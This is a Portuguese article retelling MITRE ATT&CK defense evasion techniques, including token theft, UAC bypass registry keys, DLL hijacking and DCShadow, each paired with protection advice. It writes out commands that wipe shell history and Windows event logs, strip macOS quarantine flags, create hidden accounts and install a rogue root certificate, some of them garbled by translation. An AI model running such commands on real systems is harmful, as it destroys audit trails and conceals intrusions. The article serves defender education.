Links para todas as partes:Parte 1. Obtendo Acesso Inicial (Acesso Inicial)Parte 2. ExecuçãoParte 3. Fixação (Persistência)Parte 4. Escalonamento de PrivilégiosParte 5. Evasão de DefesaParte 6. Obtendo credenciais (acesso a credenciais)Parte 7. DescobertaParte 8. Movimento LateralParte 9. Coleta de Dados (Coleção)Parte 10 ExfiltraçãoParte 11. Comando e ControleA seção "Ignorar proteção" descreve técnicas pelas quais um invasor pode ocultar atividades maliciosas e impedir sua detecção por ferramentas de proteção. Várias variações de técnicas de outras seções da cadeia de ataque que ajudam a superar defesas específicas e medidas preventivas tomadas pelo lado defensor estão incluídas nas técnicas de desvio de defesa. Por sua vez, as técnicas de desvio de defesa são aplicadas em todas as fases de um ataque.
O autor não é responsável pelas possíveis consequências da aplicação das informações contidas no artigo e também se desculpa por possíveis imprecisões feitas em algumas formulações e termos. As informações publicadas são uma recontagem gratuita do conteúdo do MITRE ATT & CK .Sistema: Windows
Direitos: Usuário, Administrador
Descrição: os invasores podem usar tokens de acesso para executar ações em vários contextos de segurança do usuário ou do sistema, evitando assim a detecção de atividades maliciosas. Um adversário pode usar as funções da API do Windows para copiar tokens de acesso de processos existentes (roubo de token), para isso ele deve estar no contexto de um usuário privilegiado (por exemplo, um administrador). O roubo de tokens de acesso é comumente usado para elevar privilégios do nível do administrador para o nível do sistema. Um adversário também pode usar um token de acesso à conta para autenticação em um sistema remoto, se essa conta tiver as permissões necessárias no sistema remoto. Existem três maneiras principais de abusar dos tokens de acesso.
Roubo e representação de tokens.A representação de tokens é a capacidade do sistema operacional de iniciar encadeamentos em um contexto de segurança que não seja o contexto do processo ao qual esse encadeamento pertence. Em outras palavras, a personificação de tokens permite que você execute qualquer ação em nome de outro usuário. Um adversário pode duplicar um token de acesso usando a função
DuplicateTokenEX e usar
ImpersonateLoggedOnUser para chamar um thread no contexto de um usuário conectado ou usar
SetThreadToken para atribuir um token de acesso a um fluxo.
Crie um processo usando um token de acesso.Um invasor pode criar um token de acesso usando a função
DuplicateTokenEX e usá-lo com
CreateProcessWithTokenW para criar um novo processo que é executado no contexto do usuário representado.
Obtenção e representação de tokens de acesso.Um adversário, com nome de usuário e senha, pode criar uma sessão de logon usando a função API
LogonUser , que retornará uma cópia do token de acesso à sessão de uma nova sessão e, em seguida, usando a
função SetThreadToken , atribua o token recebido ao fluxo.
O Metasploit Meterpreter e o
CobaltStrike possuem ferramentas para manipular tokens de acesso para elevar privilégios.
Recomendações de proteção: para fazer pleno uso das táticas acima, um invasor deve ter direitos de administrador do sistema; portanto, não esqueça de limitar os privilégios de usuários comuns. Qualquer usuário pode enganar os tokens de acesso se tiver credenciais legítimas. Limite a capacidade de usuários e grupos criar tokens de acesso:
GPO: Configuração do computador> [Diretivas]> Configurações do Windows> Configurações de segurança> Diretivas locais> Atribuição de direitos do usuário: Crie um objeto de token .
Também determine quem pode substituir os tokens de processo dos serviços locais ou de rede:
GPO: Configuração do computador> [Diretivas]> Configurações do Windows> Configurações de segurança> Diretivas locais> Atribuição de direitos do usuário: Substitua um token no nível do processo.Sistema: Windows
Direitos: Usuário, Administrador, Sistema
Descrição: O Serviço de Transferência Inteligente em Segundo Plano do Windows (BITS) é um mecanismo para transferir arquivos de forma assíncrona por meio do COM (Component Object Model) usando baixa largura de banda. O BITS é geralmente usado por atualizadores, mensageiros instantâneos e outros aplicativos que preferem trabalhar em segundo plano sem interromper a operação de outros aplicativos de rede. As tarefas de transferência de arquivos são representadas como tarefas do BITS que contêm uma fila de uma ou mais operações de arquivo. A interface para criar e gerenciar tarefas do BITS está disponível nas ferramentas PowerShell e BITSAdmin. Os invasores podem usar o BITS para baixar, iniciar e limpar depois de executar código malicioso. As tarefas do BITS são armazenadas de forma autônoma no banco de dados do BITS, enquanto o sistema não cria novos arquivos ou entradas de registro, geralmente o BITS é permitido pelo firewall. Com a ajuda das tarefas do BITS, você pode ganhar uma posição no sistema criando tarefas longas (por padrão, 90 dias) ou chamando um programa arbitrário após a conclusão de uma tarefa ou erro do BITS (inclusive após a reinicialização do sistema operacional).
Recomendações de proteção: O BITS é uma funcionalidade padrão do sistema operacional, cuja utilização é difícil de distinguir da atividade maliciosa; portanto, o vetor de proteção deve ser direcionado para impedir o lançamento de ferramentas maliciosas no início da cadeia de ataques. Desabilitar o BITS completamente pode interromper as atualizações legítimas de software; no entanto, você pode restringir o acesso à interface do BITS a usuários e grupos de acesso específicos e também pode limitar o tempo de vida das tarefas do BITS, definidas alterando as seguintes chaves:
- HKEY_LOCAL_MACHINE \ Software \ Policies \ Microsoft \ Windows \ BITS \ JobInactivityTimeout;
- HKEY_LOCAL_MACHINE \ Software \ Políticas \ Microsoft \ Windows \ BITS \ MaxDownloadTime .
Sistema: Windows, Linux, macOS
Descrição: alguns recursos de segurança verificam arquivos pesquisando assinaturas estáticas. Os oponentes podem adicionar dados a arquivos maliciosos, a fim de aumentar seu tamanho para um valor que exceda o tamanho máximo permitido do arquivo digitalizado ou alterar o hash do arquivo, a fim de ignorar as listas de bloqueios de hash do lançamento de arquivos por hashes.
Recomendações de proteção: forneça a identificação de software potencialmente perigoso aplicando ferramentas como
AppLocker , ferramentas da lista de permissões e políticas de restrição de software.
Sistema: Windows
Direitos: Usuário, Administrador
Descrição: existem muitas maneiras de ignorar o UAC, sendo as mais comuns implementadas no projeto
UACMe . Novas maneiras de ignorar o UAC são descobertas regularmente, como abusar do aplicativo de sistema
eventvwr.exe , que pode executar um arquivo binário ou um script elevado. Programas maliciosos também podem ser incorporados em processos confiáveis pelos quais o UAC permite a escalação de privilégios sem solicitar ao usuário.
Para ignorar o UAC usando eventvwr.exe, a chave é modificada no registro do Windows:
Comando [HKEY_CURRENT_USER] \ Software \ Classes \ mscfile \ shell \ open \ .
Para ignorar o UAC usando sdclt.exe, as chaves no registro do Windows são modificadas:
[HKEY_CURRENT_USER] \ Software \ Microsoft \ Windows \ CurrentVersion \ App Paths \ control.exe;
[HKEY_CURRENT_USER] \ Software \ Classes \ exefile \ shell \ runas \ command \ isolatedCommand.Recomendações de proteção: remova usuários do grupo de administradores locais nos sistemas protegidos. Se possível, ative o nível mais alto de proteção nas configurações do UAC.
Sistema: Windows
Direitos: Usuário
Descrição: o Instalador de Perfil do Microsoft Connection Manager (cmstp.exe) é o utilitário "Connection Manager Profile Installer" incorporado no Windows. O cmstp.exe pode usar um arquivo inf como parâmetro, para que um invasor possa preparar um INF mal-intencionado especial para baixar e executar DLLs ou scriptlets (* .sct) de servidores remotos, ignorando o AppLocker e outros bloqueios, pois o cmstp.exe é assinado com um certificado digital da Microsoft.
Recomendações de proteção: Bloqueando o lançamento de aplicativos potencialmente perigosos. Monitorar ou bloquear completamente o
lançamento de C: \ Windows \ System32 \ cmstp.exe .
Sistema: Linux, macOS
Direitos: Usuário
Descrição: para conveniência dos usuários nos sistemas macOS e Linux, todos os comandos executados pelo usuário no terminal são registrados. Os usuários podem executar rapidamente um comando que eles executaram anteriormente em outra sessão. Quando um usuário faz logon no sistema, o histórico de comandos é salvo no arquivo especificado na variável HISTFILE. Quando o usuário efetua logout, o histórico de comandos é salvo no diretório inicial do usuário ~ / .bash_history. O arquivo de histórico de comandos também pode conter senhas inseridas pelo usuário em texto não criptografado. Os invasores podem procurar senhas nos arquivos do histórico de comandos e tomar medidas para impedir que suas atividades maliciosas sejam gravadas no histórico de comandos, por exemplo:
não definido HISTFILE;
exportar HISTFILESIZE = 0;
história -c;
rm ~ / .bash_history.Recomendações de proteção: Impedir que os usuários excluam ou gravem arquivos bash_history pode impedir que um adversário abuse desses arquivos; além disso, restringir os direitos do usuário para editar as variáveis HISTFILE e HISTFILESIZE preservará o log de execução do comando.
Sistema: Windows, macOS
Descrição: a assinatura digital do código fornece autenticação do desenvolvedor e garante que o arquivo não foi modificado. No entanto, como você sabe, os oponentes podem usar assinaturas para disfarçar malware como arquivos binários legítimos. Os certificados de assinatura digital podem ser criados, adulterados ou roubados por um invasor. A assinatura de código para verificação de software na primeira inicialização é usada no Windows, macOS, OS X e não é usada no Linux devido à estrutura descentralizada da plataforma. Os certificados de assinatura de código podem ser usados para ignorar políticas de segurança que exigem que apenas o código assinado seja executado no sistema.
Recomendações de proteção: O uso de "listas brancas" do software e a seleção de editores confiáveis antes da verificação da assinatura digital podem impedir a execução de códigos maliciosos ou não confiáveis no sistema protegido.
Sistema: Windows
Direitos: Sistema
Descrição: alguns cibercriminosos podem usar ferramentas sofisticadas para comprometer os componentes do computador e instalar um firmware mal-intencionado que executará código mal-intencionado fora do sistema operacional ou mesmo do firmware do sistema principal (Bios). A técnica consiste em piscar componentes do computador que não possuem um sistema interno de verificação de integridade, por exemplo, discos rígidos. Um dispositivo com firmware malicioso pode fornecer acesso constante ao sistema atacado, apesar das falhas e da substituição do disco rígido. A técnica foi projetada para superar a proteção do software e o controle de integridade.
Sistema: Windows
Direitos: Usuário
Descrição: O Microsoft Component Object Model (COM) é uma tecnologia para a criação de software com base nos componentes de interação de um objeto, cada um dos quais pode ser usado em muitos programas simultaneamente. Os invasores podem usar o COM para injetar código malicioso que pode ser executado em vez do legítimo, capturando links e links COM. Para interceptar um objeto COM, você precisa substituir o link para um componente legítimo do sistema no registro do Windows. Uma chamada adicional para este componente executará código malicioso.
Recomendações de proteção: Medidas preventivas para evitar esse ataque não são recomendadas, pois os objetos COM fazem parte do sistema operacional e estão instalados no software do sistema. O bloqueio de alterações nos objetos COM pode afetar a estabilidade do sistema operacional e do software. O vetor de proteção é recomendado para bloquear software malicioso e potencialmente perigoso.
Sistema: Windows
Direitos: Usuário, Administrador, Sistema
Descrição: a tática é usar os elementos do Painel de Controle do Windows pelos invasores para executar comandos arbitrários como carga (por exemplo, o vírus
Reaver ). Objetos mal-intencionados podem ser disfarçados como controles padrão e entregues ao sistema usando anexos de phishing. Os utilitários para visualizar e definir as configurações do Windows são arquivos exe e arquivos CPL registrados dos elementos do painel de controle do Windows. Os arquivos CPL são realmente DLLs renomeados que podem ser executados das seguintes maneiras:
- diretamente da linha de comando: control.exe <file.cpl> ;
- usando as funções de API do shell32.dll: rundll32.exe shell32.dll, Control_RunDLL <file.cpl> ;
- clique duas vezes no arquivo cpl.
As CPLs registradas armazenadas no System32 são exibidas automaticamente no Painel de Controle do Windows e têm um identificador exclusivo armazenado no registro:
HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows \ CurrentVersion \ Explorer \ ControlPanel \ NameSpaceInformações sobre outras CPLs, por exemplo, o nome de exibição e o caminho para o arquivo cpl, são armazenadas nas seções
Cpls e
Extended Properties da seção:
Painel HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows \ CurrentVersion \ ControlAlgumas CPLs lançadas através do shell são registradas na seção:
Pasta HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows \ CurrentVersion \ Controls \ {nome} \ shellex \ PropertySheetHandlersRecomendação de proteção: restrinja o início e o armazenamento de arquivos de itens do painel de controle apenas em pastas protegidas (por exemplo,
C: \ Windows \ System32 ), ative o UAC (User Account Control) e o AppLocker para impedir alterações não autorizadas no sistema. Claro, o uso de software antivírus.
Sistema: Windows
Direitos: Administrador
Descrição: o DCShadow envolve a criação de um controlador de domínio falso na rede atacada, com a ajuda do qual, usando a funcionalidade da API para interagir com o CD atacado, um invasor pode modificar dados do AD, incluindo alterações em qualquer objeto, credencial e chave do domínio, despercebidas pelos sistemas SIEM. O kit de ferramentas para implementar o ataque faz parte da mimikatz. O DCShadow pode ser usado para executar um ataque de injeção do SID-History e criar backdoors para consolidação adicional no sistema.
Recomendações de proteção: como a técnica DCShadow é baseada no abuso dos recursos de design do AD, o vetor de proteção deve ser direcionado para impedir o lançamento de ferramentas de ataque. Um ataque pode ser detectado analisando a replicação em rede da replicação de CD, que é executada a cada 15 minutos, mas pode ser causada por um invasor fora do cronograma.
Sistema: Windows
Direitos: Usuário, Administrador, Sistema
Descrição: a técnica consiste em explorar vulnerabilidades no algoritmo para localizar pelos aplicativos os arquivos DLL que eles precisam para funcionar (
MSA2269637 ). Freqüentemente, o diretório de pesquisa DLL é o diretório de trabalho do programa, portanto, os invasores podem substituir a DLL de origem por uma DLL maliciosa com o mesmo nome de arquivo.
Ataques remotos em pesquisas de DLL podem ser executados quando o programa instala seu diretório atual em um diretório remoto, por exemplo, um compartilhamento de rede. Além disso, os invasores podem alterar diretamente o método de pesquisa e carregamento de DLLs, substituindo os arquivos .manifest ou .local, que descrevem os parâmetros de pesquisa da DLL. Se o programa atacado funcionar com um alto nível de privilégios, a DLL maliciosa carregada por ele também será executada com altos direitos. Nesse caso, a técnica pode ser usada para aumentar os privilégios do usuário para o administrador ou sistema.
Recomendações de proteção: Impeça o carregamento remoto da DLL (ativado por padrão no Windows Server 2012+ e disponível com atualizações para XP + e Server 2003+). Ativa o modo de pesquisa segura para DLLs, que restringe os diretórios de pesquisa a diretórios como
% SYSTEMROOT% antes de executar uma pesquisa DLL no diretório atual do aplicativo
Habilitando o modo de pesquisa de DLL segura:
Configuração do computador> [Diretivas]> Modelos administrativos> MSS (herdado): MSS: (SafeDllSearchMode) Ative o modo de pesquisa de DLL segura.Chave de registro correspondente:
HKLM \ SYSTEM \ CurrentControlSet \ Control \ Session Manager \ SafeDLLSearchMode.Considere auditar um sistema protegido para corrigir deficiências de DLL usando ferramentas como o PowerUP no PowerSploit. Não se esqueça de bloquear software malicioso e potencialmente perigoso, além de seguir
as recomendações da Microsoft .
Sistema: Windows
Descrição: o ataque é baseado em vulnerabilidades da tecnologia de execução paralela lado a lado (WinSxS ou SxS), cuja essência é habilitar aplicativos que usam versões incompatíveis dos mesmos componentes de código. O repositório de montagem de componentes está localizado na pasta c: \ windows \ winsxs. Cada assembly deve ter um manifesto associado a ele - um arquivo xml contendo informações sobre arquivos, classes, interfaces, bibliotecas e outros elementos do assembly. Semelhante às técnicas de seqüestrar uma pesquisa DLL, os adversários podem provocar um aplicativo do usuário a carregar "lateralmente" uma DLL mal-intencionada, cujo caminho foi especificado no arquivo de manifesto do assembly.
% TEMP% \ RarSFX% \% PERFIL DE USUÁRIOS% \ SXS;
% TEMP% \ RarSFX% \% PERFIL DE USUÁRIOS% \ WinSxS.Recomendações de proteção: Atualizações regulares de software, instalando aplicativos em diretórios protegidos contra gravação. Usando o sxstrace.exe para verificar os arquivos de manifesto quanto a vulnerabilidades de carregamento tardio.
Sistema: Windows
Direitos: Usuário
Descrição: os invasores podem usar ofuscação de arquivos e informações para ocultar códigos e artefatos maliciosos que sobraram de uma invasão.
Para usar esses arquivos, os oponentes usam técnicas reversas para desobstruir / decodificar arquivos ou informações. Tais métodos podem envolver o uso de malware, vários scripts ou utilitários do sistema, por exemplo, existe um método conhecido para usar o utilitário certutil para decodificar o arquivo executável de uma ferramenta de acesso remoto oculta dentro de um arquivo de certificado. Outro exemplo é o uso do comando copu / b para coletar fragmentos binários em uma carga maliciosa (Payload).Os arquivos de carga útil podem ser compactados, arquivados ou criptografados para evitar a detecção. Às vezes, uma ação do usuário pode ser necessária para executar desobstrução ou descriptografia. O usuário pode precisar digitar uma senha para abrir um arquivo ou script compactado ou criptografado com conteúdo malicioso.Recomendações de proteção: identificação e bloqueio de utilitários de sistema desnecessários ou software potencialmente perigoso que podem ser usados para desobstruir ou descriptografar arquivos usando ferramentas como AppLocker e políticas de restrição de software.Sistema: Windows, Linux, macOSDescrição: Os invasores podem desativar vários recursos de segurança, destruir processos de log de eventos, chaves do Registro para que as ferramentas de segurança não sejam iniciadas durante atividades maliciosas ou usar outros métodos para interferir na operação de scanners de segurança ou relatórios de eventos.Recomendações de proteção: verifique se os direitos de acesso aos processos, registro e arquivos estão configurados corretamente para evitar desconexão ou interferência não autorizada na operação das ferramentas de segurança.Sistema: Windows, Linux, macOSDireitos: Descrição do usuário : Como em qualquer software, o software de segurança pode ter vulnerabilidades que um invasor pode usar para desativá-las ou ignorá-las.Recomendações de proteção: Atualizações regulares de software, desenvolvimento e implementação de um processo de gerenciamento de vulnerabilidades de software. O uso de aplicativos de virtualização e microssegmentação pode reduzir os riscos de uma possível exploração de vulnerabilidades.Sistema: WindowsDireitos: Administrador,Descrição do Sistema : A técnica é abusar da memória adicional da janela do Windows, a chamada Memória Extra da Janela (EWM). O tamanho do EWM é de 40 bytes, adequado para armazenar um ponteiro de 32 bits e geralmente é usado para indicar uma referência aos procedimentos. Programas maliciosos durante a cadeia de ataques podem apontar para códigos maliciosos no EWM, que será iniciado posteriormente pelo processo do aplicativo infectado.Recomendações de proteção:Como as técnicas de injeção de EWM são baseadas no abuso das funções de desenvolvimento do sistema operacional, os esforços de proteção devem ser direcionados para impedir o lançamento de programas e ferramentas maliciosas. É uma boa prática identificar e bloquear softwares potencialmente perigosos usando o AppLocker, aplicativos da lista de permissões ou aplicar Políticas de Restrição de Software.Sistema: Windows, Linux, macOSDireitos: Descrição do usuário : Várias ferramentas, malware e outros arquivos usados pelo adversário podem deixar vestígios de atividade de hackers no sistema. Os invasores podem excluir esses arquivos de artefato durante uma invasão para reduzir a probabilidade de um ataque ser detectado ou excluí-los no final de sua operação. O adversário pode usar ferramentas especiais para destruição garantida de informações (por exemplo, Windows Sysinternals Sdelete) e ferramentas integradas ao sistema operacional, por exemplo, DEL e ipher.Recomendações de proteção: se possível, bloqueie o lançamento de utilitários de sistema desnecessários, ferramentas de terceiros e software potencialmente perigoso que podem ser usados para destruir arquivos.Sistema: WindowsDireitos: AdministradorDescrição: O Windows pode permitir que programas acessem diretamente volumes lógicos. Programas com acesso direto podem ler e gravar arquivos diretamente no disco rígido, analisar a estrutura de dados do sistema de arquivos. Esse método ignora o controle de acesso a arquivos e o monitoramento do sistema de arquivos. Utilitários como o NinjaCopy servem para executar as ações acima no PowerShell.Recomendações de proteção: Bloqueando software potencialmente perigoso.Sistema: macOSDireitos: Usuário, AdministradorDescrição:MacOS e OS X usam a tecnologia Gatekeper, que executa apenas software confiável. Ao baixar um aplicativo da Internet, um atributo especial é definido no arquivo com.apple.quarantine, que indica que o Gatekeeper deve solicitar ao usuário permissão para executar o arquivo baixado. O sinalizador é definido antes de salvar o arquivo no disco e, quando o usuário tenta abrir o arquivo, o Gatekeeper verifica o sinalizador correspondente e, se houver, o sistema solicitará que o usuário confirme o lançamento e mostre o URL do qual o arquivo foi baixado. Os aplicativos baixados no sistema a partir de uma unidade USB, unidade óptica, infantil ou de rede não farão com que o sinalizador seja definido no arquivo com.apple.quarantine. Alguns utilitários e arquivos que entraram no sistema atacado durante a inicialização de sombra (técnica Drive-by-compromise),também não faz com que o sinalizador seja definido para o Gatekeeper, ignorando a verificação de proxy. A presença do sinalizador de quarentena pode ser verificada com o comando:xattr /path/to/MyApp.app .O sinalizador também pode ser removido com attr, mas isso exigirá escalação de privilégios:sudo xattr -r -d com.apple.quarantine /path/to/MyApp.appRecomendações de segurança: Além do Gatekeeper, você deve proibir o início de aplicativos que não são baixados do Apple Store.Sistema: Linux, macOSDireitos: Descrição do usuário : A variável de ambiente HISTCONTROL representa uma lista de parâmetros para salvar o histórico de comandos no arquivo ~ / .bash_history quando o usuário efetua logoff. Por exemplo, a opção ignorespace indica que não é necessário salvar linhas começando com um espaço, e a opção ignororedups desativará o salvamento de comandos que são repetidos em uma linha. Em alguns sistemas Linux, a opção ignoreboth é especificada por padrão, o que implica a inclusão dos dois parâmetros acima. Isso significa que o comando ls não será salvo no histórico, ao contrário do ls.O HISTCONTROL não é usado por padrão no macOS, mas pode ser configurado pelo usuário. Os invasores podem usar os recursos dos parâmetros HISTCONTROL para não deixar vestígios de suas atividades simplesmente inserindo espaços na frente dos comandos.Recomendações de segurança: Impeça que os usuários alterem a variável HISTCONTROL e também verifique se HISTCONTROL está definido como ignoredup e não contém as opções ignoreboth e ignorespace.Sistema: Windows, Linux, macOSDireitos: Descrição do usuário : No Windows, os usuários podem ocultar arquivos usando o comando attrib. Basta especificar o atributo + h <nome do arquivo> para ocultar o arquivo ou "+ s" para marcar o arquivo como sistema. Adicionando o parâmetro "/ S", o utilitário attrib aplicará as alterações recursivamente. No Linux / Mac, os usuários podem ocultar arquivos e pastas simplesmente especificando um "." No início do nome do arquivo. Depois disso, arquivos e pastas serão ocultados do aplicativo Finder e, por exemplo, do utilitário ls.No macOS, os arquivos podem ser sinalizados com UF_HIDDEN, o que desativará sua visibilidade no Finder.app, mas não impedirá que arquivos ocultos sejam vistos no Terminal.app. Muitos aplicativos criam arquivos e pastas ocultos para não sobrecarregar a área de trabalho do usuário. Por exemplo, os utilitários SSH criam uma pasta .ssh oculta que armazena uma lista de hosts e chaves de usuário conhecidos.Os invasores podem usar a capacidade de ocultar arquivos e pastas para não atrair a atenção dos usuários.Recomendações de proteção: É difícil impedir o uso dessa técnica devido ao fato de ocultar arquivos ser um recurso padrão do sistema operacional.Sistema: macOSDireitos: administrador, raizDescrição: cada conta do macOS possui um ID do usuário que pode ser especificado durante a criação do usuário. As propriedades /Library/Preferences/com.apple.loginwindow tem a opção Hide500Users , que esconde os IDs de usuário 500 e abaixo para a tela de login. Assim, ao criar um usuário com um identificador <500 e ativar o Hide500Users, um invasor pode ocultar suas contas:sudo dscl. -create / User / nome de usuário O
padrão UniqueID 401 sudo grava /Library/Preferences/com.apple.loginwindow Hide500Users -bool TRUERecomendações de proteção:Se a estação de trabalho estiver em um domínio, a política de grupo poderá limitar a capacidade de criar e ocultar usuários. Da mesma forma, a capacidade de modificar as propriedades /Library/Preferences/com.apple.loginwindow é impedida.Sistema: macOSDireitos: Descrição do usuário : As opções de inicialização de aplicativos no macOS e no OS X estão listadas nos arquivos plist das propriedades. Uma das tags nesses arquivos apple.awt.UIElement inclui ocultar o ícone do aplicativo Java no Dock. Normalmente, essa tag é usada para aplicativos em execução na bandeja do sistema, mas os invasores podem abusar desse recurso e ocultar aplicativos maliciosos.Recomendações de proteção: monitore a lista de programas que possuem a tag apple.awt.UIElement nas propriedades plist.Sistema: WindowsDireitos: Administrador,Descrição do sistema : O mecanismo IFEO (Image File Execution Options) permite executar um depurador de programa em vez de um programa especificado anteriormente pelo desenvolvedor no registro:- Opções de execução de arquivo HKLM \ Software \ Microsoft \ Windows NT \ CurrentVersion \ Image / [executável]
- Opções de execução de arquivo de imagem HKLM \ SOFTWARE \ Wow6432Node \ Microsoft \ Windows NT \ CurrentVersion \ Image \ [executável] , em que [executável] é o binário executável do depurador.
Como injeções, o valor [executável] pode ser abusado ao executar código arbitrário para aumentar privilégios ou obter uma posição no sistema. Programas maliciosos podem usar o IFEO para ignorar a proteção registrando depuradores que redirecionam e rejeitam vários aplicativos de sistema e segurança.Recomendações de proteção: A técnica descrita é baseada no abuso de ferramentas regulares de desenvolvimento de SO, portanto, qualquer restrição pode causar instabilidade de software legítimo, por exemplo, aplicativos de segurança. Os esforços para impedir o uso de técnicas de injeção de IFEO precisam ser focados nos estágios iniciais da cadeia de ataque. Você pode detectar esse ataque monitorando processos com o processo Debug_ eDebug_only_this_process .Sistema: WindowsDescrição: Os invasores podem tentar bloquear vários indicadores ou eventos capturados por ferramentas de segurança para análise posterior. Atividade maliciosa pode incluir a modificação de arquivos de configuração de segurança, chaves do Registro ou redirecionamento malicioso de eventos de telemetria.Ao lidar com ferramentas de análise de atividade de rede, um invasor pode bloquear o tráfego associado ao envio de relatórios ao servidor de gerenciamento de segurança. Isso pode ser feito de várias maneiras, por exemplo, interrompendo o processo local responsável pela transmissão de telemetria, criando uma regra no firewall para bloquear o tráfego para os hosts responsáveis por agregar eventos de segurança.Recomendações de proteção:Verifique se os rastreadores e remetentes de eventos, políticas de firewall e outros mecanismos relacionados estão protegidos por permissões e controles de acesso apropriados. Considere reiniciar automaticamente o recurso de encaminhamento de eventos de segurança em intervalos repetidos, bem como a capacidade de aplicar o gerenciamento de alterações apropriado às regras de firewall e outras configurações do sistema.Sistema: Windows, Linux, macOSDescrição:Se um aplicativo mal-intencionado estiver em quarentena ou bloqueado, o invasor pode determinar o motivo da detecção de sua ferramenta (indicador), alterar a ferramenta removendo o indicador e usar uma versão atualizada do malware que não será detectada por meios de proteção. Um bom exemplo é a detecção de malware usando uma soma de verificação ou assinatura de arquivo e colocando-os em quarentena com software antivírus. Um invasor que determina que um malware foi colocado em quarentena por software antivírus por causa de sua assinatura / soma de verificação pode usar técnicas de empacotamento de software ou outros métodos de modificação de um arquivo para alterar a assinatura ou soma de verificação e reutilizá-lo.Recomendações de proteção:O adversário pode ter acesso ao sistema e saber quais métodos e ferramentas estão bloqueados pela proteção residente. Use métodos avançados de configuração de recursos de segurança e proteção, explore o processo de possível comprometimento do sistema protegido para organizar o processo de aviso sobre uma possível invasão.Identifique e bloqueie software potencialmente perigoso e mal-intencionado usando ferramentas da lista de permissões, como o AppLocker e políticas de restrição de software.A primeira detecção de uma ferramenta maliciosa pode acionar um alerta para um sistema antivírus ou outra ferramenta de segurança. Tais eventos podem ocorrer no perímetro e podem ser detectados usando um sistema IDS, verificação de correio etc. A detecção inicial deve ser considerada como um sinal do início da invasão, o que requer investigação cuidadosa fora do "local" do evento inicial. Os invasores podem continuar o ataque, assumindo que determinados eventos de software antivírus não serão investigados ou que o analista não poderá associar permanentemente o evento registrado a outras atividades que ocorrem na rede.Sistema: Windows, Linux, macOSDescrição: Os invasores podem excluir ou modificar artefatos gerados no sistema atacado, incluindo logs e arquivos interceptados em quarentena. A localização e o formato dos logs podem variar dependendo do SO, os logs do sistema são registrados como arquivos do Windows Event ou Linux / macOS, como /.bash_history e .var / log / *.Ações direcionadas que interferem na operação de coleta de eventos e mecanismos de aviso que podem ser usados para detectar invasões podem comprometer as ferramentas de segurança, como resultado dos quais os eventos de segurança não serão analisados. Tais ações podem complicar o processo de exame e resposta devido à falta de dados sobre a incursão.Como limpar os logs de eventos do Windows Os logs de eventos doWindows são um registro de alertas e notificações e operação do sistema. A Microsoft define o evento como "qualquer evento significativo em um sistema ou programa que exija notificação aos usuários ou log". Existem três fontes de eventos do sistema: sistema, aplicativos e segurança.Opositores que executam ações relacionadas ao gerenciamento de contas, efetuando login em uma conta, acesso a serviços de diretório etc. pode limpar o log de eventos para ocultar suas ações.Os logs de eventos podem ser limpos com os seguintes utilitários do console:wevtutil cl system;
aplicação cl wevtutil;
segurança wevtutil cl.Os logs também podem ser limpos usando outras ferramentas, como o PowerShell.Recomendações de proteção: use armazenamento centralizado de logs de eventos para que não seja possível exibir e gerenciar logs de eventos na máquina local. Se possível, minimize o atraso no relatório de eventos para evitar o armazenamento de log de longo prazo no sistema local. Proteja os arquivos de log de eventos armazenados localmente com permissões e autenticação adequadas, restrinja a capacidade dos adversários de elevar privilégios. Use ferramentas para ofuscar e criptografar arquivos de log quando armazenados localmente e durante a transferência. Monitore os logs para o evento 1102: "O log de auditoria foi excluído."Sistema: WindowsDireitos: Descrição do Usuário : Vários utilitários do Windows podem ser usados para executar comandos, possivelmente sem chamar o cmd. Por exemplo, o Forfiles, o assistente de compatibilidade de programas (pcalua.exe), componentes do subsistema Windows para Linux (WSL), bem como outros utilitários, podem fazer com que programas e comandos sejam executados na interface da linha de comandos, na janela Executar ou por meio de scripts.Os invasores podem abusar dos utilitários descritos acima, a fim de ignorar as ferramentas de segurança, principalmente para o lançamento arbitrário de arquivos até que sua atividade seja detectada ou bloqueada por vários meios, por exemplo, usando políticas de grupo que proíbem o uso de CMD.Recomendações de proteção:Identifique e bloqueie software potencialmente perigoso e mal-intencionado usando o AppLocker e as políticas de restrição de software. Esses mecanismos podem ser usados para desativar ou restringir o acesso do usuário a utilitários que podem ser usados para executar comandos indiretamente.Sistema: Windows, Linux, macOS
Direitos: Administrador, usuário
Descrição: os certificados raiz são usados para identificar uma autoridade de certificação (CA). Quando o certificado raiz é instalado, o sistema e os aplicativos confiarão em todos os certificados na cadeia de certificados raiz. Os certificados geralmente são usados para estabelecer conexões TLS / SSL seguras em um navegador da web. Se um usuário tentar abrir um site no qual um certificado não confiável é apresentado, uma mensagem de erro será exibida avisando o usuário sobre um risco à segurança. Dependendo das configurações de segurança, o navegador pode proibir conexões com sites não confiáveis.
A instalação de um certificado raiz em um sistema atacado permite que um invasor reduza o nível geral de segurança do sistema. Os invasores podem usar esse método para ocultar avisos de segurança, como resultado do qual o usuário se conectará via HTTPS a servidores da Web controlados pelo inimigo para roubar suas credenciais.
Certificados raiz estranhos também podem ser pré-instalados pelo fabricante do software durante a cadeia de suprimento de software e usados em conjunto com malware e adware, ou para fornecer um ataque de "pessoa do meio" para interceptar informações transmitidas por conexões TLS / SSL seguras.
Os certificados raiz também podem ser clonados e reinstalados. essas cadeias de certificados podem ser usadas para assinar códigos maliciosos, a fim de ignorar as ferramentas de verificação de assinaturas usadas para bloquear e detectar invasões.
No macOS, o malware Ay MaMi usa o comando
/ usr / bin / security add-trust-cert -d -r trustRoot -k / Library / Keychains / System / keychain path / para / malicioso / cert para definir o certificado como certificado raiz confiável em cadeia do sistema.
Recomendações de segurança: O HPKP (HTTP Public Key Pinning) é uma maneira de proteger contra ataques da cadeia de certificados. O HPKP assume que o servidor informa ao cliente um conjunto de hashes de chave pública, que devem ser os únicos confiáveis ao se conectar a esse servidor por um determinado período.
A Diretiva de Grupo do Windows pode ser usada para gerenciar certificados raiz e impedir que não administradores instalem certificados raiz adicionais em repositórios de usuários (HKCUs):
